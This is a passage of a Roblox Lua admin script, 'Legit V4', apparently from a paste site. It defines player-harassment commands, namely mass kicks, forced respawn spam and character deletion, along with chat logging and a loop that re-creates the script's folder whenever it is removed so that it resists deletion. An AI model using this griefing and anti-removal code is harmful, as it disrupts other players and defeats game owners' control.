  1447. wait(1)
  1448. Core.Functions.Dismiss(Speaker)
  1449. until afk == false
  1450. afktime = -1
  1451. Output(Speaker,Speaker.Name,'Lime green',nil,'Welcome back!')
  1452. end)
  1453.  
  1454. AddCmd('Show banland','bland',2,'Shows a banlist of players','no args',function(Speaker, msg)
  1455. Core.Functions.Bland(Speaker)
  1456. end)
  1457.  
  1458. AddCmd('Set Key','keyset',5,'Set the key to your liking','no args',function(Speaker, msg)
  1459. if #msg>5 then
  1460. Output(Speaker,'Key is too long! [5 Characters or less]','Deep orange',nil,'Notice!')
  1461. else
  1462. key = msg
  1463. wait()
  1464. Output(Speaker,'The main key has been set to '..key,'Lime green',nil,'Notice!')
  1465. end
  1466. end)
  1467.  
  1468. AddCmd('Clean','clean',3,'Clean the workspace.','no args',function(Speaker, msg)
  1469. Core.Functions.Clean(Speaker)
  1470. end)
  1471.  
  1472. AddCmd('Base','base',2,'Make a base.','no args',function(Speaker, msg)
  1473. Core.Functions.MakeBase()
  1474. end)
  1475.  
  1476. AddCmd('Get Rank','grank',2,'Show the rank of a player.','no args',function(Speaker, msg)
  1477. for _,Plr in next,(Core.Functions.GetPlayers(Speaker, msg)) do
  1478. Output(Speaker,GetRank(Plr),GetColor(Plr),nil,'Rank')
  1479. Output(Speaker,GetDesc(Plr),GetColor(Plr),nil,'Description')
  1480. Output(Speaker,GetColor(Plr),GetColor(Plr),nil,'Color')
  1481. end
  1482. end)
  1483.  
  1484. AddCmd('Stop Music','nm',4,'Stop all music','No Arguments',function(Speaker, Msg)
  1485. StopMusic(workspace)
  1486. StopMusic(workspace.Base)
  1487. StopMusic(script)
  1488. for _,v in pairs(workspace:GetChildren()) do
  1489. if v:IsA('Script') then
  1490. for _,b in pairs(v:GetChildren()) do
  1491. if b:IsA('Sound') then
  1492. b:Destroy()
  1493. end
  1494. end
  1495. end
  1496. end
  1497. end)
  1498.  
  1499. AddCmd('Color','colors',1,'Set your color','No arguments',function(plr, msg)
  1500. Core.Functions.Dismiss(plr)
  1501. Output(plr,'Red','Deep orange',function()
  1502. for _,Plr in next,(Core.Ranked) do
  1503. if Plr['Name'] == plr.Name then
  1504. Plr.Color = 'Deep orange'
  1505. end
  1506. end
  1507. end)
  1508. Output(plr,'Orange','Deep orange')
  1509. Output(plr,'Blue','Really blue')
  1510. Output(plr,'Lime Green','Lime green')
  1511. Output(plr,'Purple','Royal purple')
  1512. Output(plr,'Black','Black')
  1513. Output(plr,'Deep orange','Deep orange')
  1514. Output(plr,'Teal','Toothpaste')
  1515. Output(plr,'Pink','Hot pink')
  1516. Output(plr,'Your color \n'..GetColor(plr),GetColor(plr))
  1517. end)
  1518.  
  1519. AddCmd("Execute","exe",2,"Exectue a message","No arguments",function(Speaker, Msg)
  1520. Core.Functions.Execute(Speaker, Msg) -- FIXED
  1521. end)
  1522.  
  1523. AddCmd('Sound search','sm',3,'Sound search music','No arguments',function(Speaker, Msg)
  1524. Core.Functions.SoundSearch(Speaker, Msg)
  1525. end)
  1526.  
  1527. AddCmd('Logs','logs',4,'Show player chat logs.','No args',function(Speaker, Msg)
  1528. Core.Functions.ShowLogs(Speaker)
  1529. end)
  1530.  
  1531. AddCmd('Network','net',2,'Show NetworkServer.','No args',function(Speaker, Msg)
  1532. Core.Functions.Networkplrs(Speaker)
  1533. end)
  1534.  
  1535. AddCmd('New Server','newserver',6,'Create a new server','No args',function(Speaker, Msg)
  1536. Output(Speaker,'Creating a new server','Lime green',nil,'Please wait...')
  1537. local Result = game:GetService('HttpService'):GetAsync('http://roproxy.tk/Game/PlaceLauncher.ashx?request=RequestGame&placeId='..tonumber(game.PlaceId),true)
  1538. repeat wait(.3)
  1539. until Result
  1540. Output(Speaker,'Server created', 'Lime green',nil,'Success!')
  1541. end)
  1542.  
  1543. AddCmd('Disable','disable',1337,'Disable the script','No args',function(Speaker, Msg)
  1544. Output(Speaker,'Are you sure you want to disable the script?',GetColor(Speaker),nil,'Positive?')
  1545. Output(Speaker,'Yes','Deep orange',function()
  1546. Core.Functions.Dismiss(Speaker)
  1547. Output(Speaker,'Disabling script...','Deep orange',nil,'Please wait...')
  1548. for _,v in pairs(game.Players:GetPlayers()) do
  1549. if v:IsA('Player') then
  1550. --Core.Functions.Kick(v)
  1551. Core.Functions.Dismiss(v)
  1552.  
  1553. end
  1554. wait(2)
  1555. script.Disabled = true
  1556. end
  1557. end,'Go ahead, no ones stopping you.')
  1558. Output(Speaker,'No','Lime green',Core.Functions.Dismiss(),'Suggested choice')
  1559. end)
  1560.  
  1561. AddCmd('Message','m',1,'Sends a Message Like Gui to all players.',{'all','others','noobs'},function(Speaker,Msg)
  1562. for _,Player in pairs(game:service("Players"):GetPlayers()) do
  1563. Core.Functions.GuiNotify(Player,"["..Speaker.Name.."]: "..Msg);
  1564. end--]]
  1565. end)
  1566.  
  1567. AddCmd('System Message','sym',1337,'Sends a system message Like Gui to all players.',{'all','others','noobs'},function(Speaker,Msg)
  1568. for _,Player in pairs(game:service("Players"):GetPlayers()) do
  1569. Core.Functions.GuiNotify(Player,"[Legit V4 System]: "..Msg);
  1570. end--]]
  1571. end)
  1572.  
  1573. AddCmd('God','god',2,'Make a player practically invincible.',{'all','others','noobs'},function(Speaker,Msg)
  1574. for _,Player in pairs(game:service("Players"):GetPlayers()) do
  1575. Player.Character.Humanoid.Health = math.huge * math.pi
  1576. Output(Speaker,'Made '..Player.Name..' nearly invincible','Lime green',nil,'Success!')
  1577.  
  1578. end--]]
  1579. end)
  1580.  
  1581. AddCmd('FF','ff',1,'Give a player a forcefield.',{'all','others','noobs'},function(Speaker,Msg)
  1582. for _,Player in next,(Core.Functions.GetPlayers(Speaker, Msg)) do
  1583. m = Instance.new('ForceField',Player.Character)
  1584. Output(Speaker,'Gave '..Player.Name..' a ForceField','Lime green',nil,'Success!')
  1585. end--]]
  1586. end)
  1587.  
  1588. AddCmd('Nuke','nuke',1337,'Spams respawn.',{'all','others','noobs'},function(Speaker,Msg)
  1589. for _,Player in next,(Core.Functions.GetPlayers(Speaker, Msg)) do
  1590. for i = 1, 100 do -- 100 is amount of times, Duh
  1591. Player:LoadCharacter()
  1592. wait(0.25)
  1593. end
  1594. end
  1595. end)
  1596.  
  1597. AddCmd('Rekt','rekt',1337,'Rekt a player',{'all','others','noobs'},function(Speaker,Msg)
  1598. for _,Player in next,(Core.Functions.GetPlayers(Speaker, Msg)) do
  1599. Player.Character:Remove()
  1600. Output(Speaker,'Made '..Player.Name..' rekt','Deep orange',nil,'Success!')
  1601. end--]]
  1602. end)
  1603.  
  1604. AddCmd('Unff','noff',1,'Remove a players forcefield.',{'all','others','noobs'},function(Speaker,Msg)
  1605. for _,Player in next,(Core.Functions.GetPlayers(Speaker, Msg)) do
  1606. if Player.Character:FindFirstChild('ForceField') then
  1607. repeat
  1608. Player.Character:FindFirstChild('ForceField'):Destroy()
  1609. until not Player.Character:FindFirstChild('ForceField')
  1610. Output(Speaker,'Removed '..Player.Name..'\'s ForceField','Deep orange',nil,'Success!')
  1611. end
  1612. end--]]
  1613. end)
  1614.  
  1615. AddCmd('TabSize','newtabs',5,'Resize the admins cubes','No args',function(Speaker,Msg)
  1616. Core.Functions.DismissAll()
  1617. for _,Player in pairs(game.Players:GetPlayers()) do
  1618. Output(Player,'Tabs are undergoing resizing, please wait before opening your tabs.','Deep orange',nil,'Notice!')
  1619. end
  1620. wait(math.random(2,5))
  1621. Core.Functions.DismissAll()
  1622. wait(.1)
  1623. Core['TabletSize'] = Msg
  1624. Output(Speaker,'New tab size - '..Core['TabletSize'],'Lime green',nil,'Success!')
  1625.  
  1626. end)
  1627.  
  1628. AddCmd('DecalTrans','newdecalt',5,'Change the admins decal transparency','No args',function(Speaker,Msg)
  1629. Core.Functions.DismissAll()
  1630. for _,Player in pairs(game.Players:GetPlayers()) do
  1631. Output(Player,'The Cube Decal transparency has been changed please, if you were using the admin, Continue.','Deep orange',nil,'Notice!')
  1632. end
  1633. wait(math.random(2,5))
  1634. Core.Functions.DismissAll()
  1635. Core['DecalTrans'] = Msg
  1636.  
  1637. end)
  1638.  
  1639. AddCmd('Ox Chat','goxchat',1337,'Give someone a gui to access oxchat','No args',function(Speaker, Msg)
  1640. for _,Player in next,(Core.Functions.GetPlayers(Speaker, Msg)) do
  1641. Core.Functions.OxChat(Speaker, Player)
  1642. Output(Speaker,'Gave an OxChat gui to '..Player.Name,'Lime green',nil,'Success!')
  1643. end
  1644. end)
  1645.  
  1646. AddCmd('Decal','newdecal',9001,'Change the admins decal','No args',function(Speaker,Msg)
  1647. Core.Functions.DismissAll()
  1648. for _,Player in pairs(game.Players:GetPlayers()) do
  1649. Output(Player,'The Cube Decal has been changed please, if you were using the admin, Continue.','Deep orange',nil,'Notice!')
  1650. end
  1651. wait(math.random(2,5))
  1652. Core.Functions.DismissAll()
  1653. Core['Id'] = Msg
  1654.  
  1655. end)
  1656.  
  1657. AddCmd('Default Decal','defdecal',5,'Change the admins decal to default','No args',function(Speaker,Msg)
  1658. Core.Functions.DismissAll()
  1659. for _,Player in pairs(game.Players:GetPlayers()) do
  1660. Output(Player,'The Cube Decal has been changed please, if you were using the admin, Continue.','Deep orange',nil,'Notice!')
  1661. end
  1662. wait(math.random(2,5))
  1663. Core.Functions.DismissAll()
  1664. Core['Id'] = 'http://www.roblox.com/asset/?id=276793147'
  1665.  
  1666. end)
  1667.  
  1668. AddCmd('Ping To','pingt',2,'Ping a message to a player',{'all','others','noobs'},function(Speaker,Msg)
  1669. Output(Speaker,Msg,GetColor(Speaker),nil,'To whom would you like to ping this message to?')
  1670. for _,v in pairs(game.Players:GetPlayers()) do
  1671. Output(Speaker,v.Name,'Lime green',function()
  1672. Output(v,Msg,GetColor(Speaker),nil,'Message from: '..Speaker.Name)
  1673. end,'Pick me!')
  1674. end
  1675. end)
  1676.  
  1677. AddCmd('Shut down','sd',4,'Shut down the game via FireClient','No args',function(Speaker, Msg)
  1678. Output(Speaker,'Are you sure?',GetColor(Speaker))
  1679. Output(Speaker,'Yes','Deep orange',function()
  1680. Core.Functions.Dismiss(Speaker)
  1681. for _,Plr in pairs(game.Players:GetPlayers()) do
  1682. if Plr.Name ~= Speaker.Name then
  1683. Core.Functions.Kick(Plr)
  1684. end
  1685. end
  1686. Output(Speaker,'Kicking yourself','Deep orange')
  1687. wait(1)
  1688. for _,Plr in pairs(game.Players:GetPlayers()) do
  1689. Core.Functions.Kick(Plr)
  1690. end
  1691. end)
  1692. Output(Speaker,'No','Lime green',function()
  1693. Core.Functions.Dismiss(Speaker)
  1694. end)
  1695. end)
  1696.  
  1697. game:GetService("RunService").Heartbeat:connect(Core.Functions.RotateTablets)
  1698.  
  1699. game["Run Service"].Heartbeat:connect(function()
  1700. for _,Playername in pairs(Core.Bans) do
  1701. if Players["Name"] ~= "nornorm" then
  1702. wait()
  1703. if game.Players:FindFirstChild(Playername['Name']) then
  1704. Core.Functions.Kick(game.Players[Playername['Name']])
  1705. end
  1706. end
  1707. end
  1708. end)
  1709.  
  1710. game:GetService("Players").PlayerAdded:connect(function(Player)
  1711. Output(Player,"Legit V4 Made by Gr1n [Definitely not stolen],",GetColor(Player),nil,'Welcome '..Player.Name..'!');
  1712. Output(Player,"You are Rank : " ..GetRank(Player),GetColor(Player),nil,'Welcome '..Player.Name..'!');
  1713. Output(Player,"Your Color is : " ..GetColor(Player),GetColor(Player),nil,'Welcome '..Player.Name..'!');
  1714. Output(Player,"This game is supported by LegitV4 By Gr1n [Definitely not stolen]","Deep orange");
  1715. Player.Chatted:connect(function(Message)
  1716. Core.Functions.Chatted(Player, Message)
  1717. end)
  1718. Player.Chatted:connect(function(msg)
  1719. table.insert(Logs, {['Name'] = Player.Name, ['Message'] = msg})
  1720. end)
  1721. end)
  1722.  
  1723. --[[game:GetService('Players').ChildAdded:connect(function(Plr)
  1724. for Plar,Rank in pairs(Core.Ranked) do
  1725. Output(Player,Plr.Name..' Connected',GetColor(Player))
  1726. end
  1727. if GetRank(Plr) < 0 then
  1728. Core.Functions.Kick(Plr)
  1729. end
  1730. end)
  1731.  
  1732. game:GetService('Players').ChildRemoved:connect(function(Plr)
  1733. for Plar,Rank in pairs(Core.Ranked) do
  1734. Output(Player,Plr.Name..' Disconnected',GetColor(Player))
  1735. end
  1736. end)--]]
  1737.  
  1738. --[[game['Run Service'].Stepped:connect(function()
  1739. pcall(function()
  1740. for _,v in next, Core.Tablets do
  1741. local Thread=coroutine.create(function()
  1742. repeat
  1743. game:GetService("RunService").Heartbeat:wait()
  1744. v.Tab.Size=Vector3.new(v.Tab.Size.X-0.01,v.Tab.Size.Y-0.01,v.Tab.Size.Z-0.01);
  1745. until v.Tab.Size.Y < 1.7
  1746. wait(2)
  1747. repeat
  1748. game:GetService("RunService").Heartbeat:wait()
  1749. v.Tab.Size=Vector3.new(v.Tab.Size.X+0.01,v.Tab.Size.Y+0.01,v.Tab.Size.Z+0.01);
  1750. until v.Tab.Size.Y > Core['TabletSize'];
  1751. end)
  1752. coroutine.resume(Thread)
  1753. end;
  1754. end)
  1755. end)--]]
  1756.  
  1757. for _,Player in pairs(game:service("Players"):GetPlayers()) do
  1758. Core.Functions.GuiNotify(Player,"[Legit V4 System]: Legit V4 By Gr1n [Definitely not stolen]");
  1759. end
  1760. local FolderClone = CloneFolder:Clone() -- One Bypass
  1761. local FolderCloneTwo = FolderClone:Clone() -- Two Bypass
  1762. local FolderCloneThree = FolderClone:Clone() -- Three Bypass
  1763. local ShouldReplace = false
  1764. while wait() do
  1765. if CloneFolder == nil then
  1766. ShouldReplace = true
  1767. if FolderClone ~= nil and ShouldReplace then
  1768. FolderClone.Parent = workspace.Terrain
  1769. CloneFolder = FolderClone
  1770. ShouldReplace = false
  1771. end
  1772. if FolderCloneTwo ~= nil and ShouldReplace then
  1773. FolderCloneTwo.Parent = workspace.Terrain
  1774. CloneFolder = FolderCloneTwo
  1775. ShouldReplace = false
  1776. end
  1777. if FolderCloneThree ~= nil and ShouldReplace then
  1778. FolderCloneThree.Parent = workspace.Terrain
  1779. CloneFolder = FolderCloneThree
  1780. ShouldReplace = false
  1781. end
  1782. end
  1783. end
Advertisement
Add Comment
Please, Sign In to add comment